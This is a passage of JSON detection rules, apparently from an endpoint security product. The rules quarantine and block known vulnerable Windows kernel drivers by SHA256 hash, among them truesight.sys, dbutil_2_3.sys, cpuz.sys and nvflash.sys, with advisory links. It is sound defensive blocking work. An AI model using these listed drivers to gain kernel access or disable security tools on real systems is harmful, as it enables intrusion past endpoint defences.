+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621547Z",
+  "creation_date": "2026-03-23T11:45:29.621549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b0f442ac0bb183906700097d65aed0b4b9d8678f9a01aca864854189fe368e7",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8df3933f-628a-59af-b984-9f1d3c92a03e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459921Z",
+  "creation_date": "2026-03-23T11:45:30.459925Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459933Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45b07a2f387e047a6bb0e59b7f22fb56182d57b50e84e386a38c2dbb7e773837",
+  "comment": "Vulnerable Kernel Driver (aka LgDataCatcher.sys) [https://www.loldrivers.io/drivers/5961e133-ccc3-4530-8f4f-5d975c41028d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8dfae742-47d8-5c9c-9217-cbd112a1048b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607183Z",
+  "creation_date": "2026-03-23T11:45:29.607185Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607191Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96ee751f7c38731e97773e07e0f13f4dd361af9aaa1d30b41652c2e6efc3fb3e",
+  "comment": "Dell vulnerable driver (aka dbutil_2_3.sys) [CVE-2021-21551] [https://github.com/SpikySabra/Kernel-Cactus] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e08e94f-ebd1-531d-9eb4-e8d8ff16ff99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828614Z",
+  "creation_date": "2026-03-23T11:45:30.828616Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828621Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e18f303d27c753bee0f90637e5a8c3ae1f76276d1419430a335c2d2b0b66f3b6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e11b7fe-6820-5c0a-888f-4a4b5ee0452a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975804Z",
+  "creation_date": "2026-03-23T11:45:29.975806Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975812Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7419b05e74733d2b7ce4c860ab74043b816a7f66a1ff7eec81fe3b35730e3bbb",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e1783a9-8e63-5d78-bc12-47c7c81bc7e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828203Z",
+  "creation_date": "2026-03-23T11:45:31.828205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828210Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b6c5360fb5cf9a441c51255d27039ceebdcf532e25c98a41c5facf6b00ae05c4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e26b953-ce06-58eb-92ea-3095be8f5477",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.822789Z",
+  "creation_date": "2026-03-23T11:45:31.822792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.822801Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e1a9526605bbdcf72085e2fecec7ce06265af73aa196a963fc9d1122b1883ec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e395393-6f7e-5edd-aea7-8f25beb5122e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605629Z",
+  "creation_date": "2026-03-23T11:45:29.605631Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605637Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e07211224b02aaf68a5e4b73fc1049376623793509d9581cdaee9e601020af06",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e4388f7-051f-5d35-ada0-4292d97f356b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830908Z",
+  "creation_date": "2026-03-23T11:45:30.830910Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830916Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c7c3a0128e7111625f77f9a7ff615a297e60c293c1532523685d67f88054bde9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e50f6ca-d6a1-5365-bb90-65483a5369e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826132Z",
+  "creation_date": "2026-03-23T11:45:30.826135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826140Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "027000b80fb5c703aeb2de72dd540653392eab608142bbba13f949345c101b28",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e54f236-0506-58e1-85f1-3a2720b8a492",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486971Z",
+  "creation_date": "2026-03-23T11:45:31.486974Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486982Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f7621d4651e80986142b4673dc335e39708b4cfef21b71ddd955ae31a14657c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e5546b9-f808-5feb-b6a7-180022cb715d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983211Z",
+  "creation_date": "2026-03-23T11:45:29.983213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983218Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2e6b339597a89e875f175023ed952aaac64e9d20d457bbc07acf1586e7fe2df8",
+  "comment": "Vulnerable Kernel Driver (aka DBUtilDrv2.sys) [https://www.loldrivers.io/drivers/bb808089-5857-4df2-8998-753a7106cb44/,https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e627923-faec-52af-bfd6-1d37a2bbb2c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616381Z",
+  "creation_date": "2026-03-23T11:45:29.616383Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616389Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c942801884999057aabdc01707570371afdb077979ee2f318c05276123b78e7",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e678966-9e56-54ff-9907-ed85717d537d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144124Z",
+  "creation_date": "2026-03-23T11:45:31.144126Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144131Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7b7774480af293fbfac7f3c038b897d54aab36afe0afae210b3640b40fefec8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e6c7db6-3880-5c46-a654-5f9ef85665ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834003Z",
+  "creation_date": "2026-03-23T11:45:30.834006Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834014Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61f139d722bea6618c688a7f74b5a04907c7308d9fc434a1033439f0d26c90b0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e6cc692-fde4-55cd-8d3b-4ba23c2f1457",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823773Z",
+  "creation_date": "2026-03-23T11:45:30.823775Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7d4862fb20b01f19eaf86774ecbb20a137163d969554ac9b91c3c92fe103ea7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e744983-55ae-50bc-97fe-db3663208398",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620441Z",
+  "creation_date": "2026-03-23T11:45:29.620443Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620448Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d8459f7d707c635e2c04d6d6d47b63f73ba3f6629702c7a6e0df0462f6478ae2",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e7965f9-9d49-53e1-835c-cbdcd2a34e50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473367Z",
+  "creation_date": "2026-03-23T11:45:30.473370Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473379Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "78d49094913526340d8d0ef952e8fe9ada9e8b20726b77fb88c9fb5d54510663",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e84d1be-7d77-5fa8-9192-c8f8cce37711",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152804Z",
+  "creation_date": "2026-03-23T11:45:31.152807Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152815Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61923c135d0847549f5869a5a91d78ba945e3f5c1c6d5b31dfe34ad8911b5ae3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8e8b25dc-55b4-5ebd-bd03-c46da2ce3f13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618023Z",
+  "creation_date": "2026-03-23T11:45:29.618025Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618030Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "423d58265b22504f512a84faf787c1af17c44445ae68f7adcaa68b6f970e7bd5",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8eaeaf65-32d8-5555-9dd8-764cc57ee5a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818265Z",
+  "creation_date": "2026-03-23T11:45:31.818268Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818276Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a39fe7b7cc504ed53435aefd9050f7bebe2115e87f6089006f0ad26404e52419",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ebebc4b-0827-5d4f-8583-39cd88fa0c0b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823361Z",
+  "creation_date": "2026-03-23T11:45:31.823364Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823373Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec97b2ca7836cba139fd394132a06b7eaaff3f78a15110a28acf6368e9837148",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8ec416e2-9b78-5ca8-92bf-57c184d2347e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483597Z",
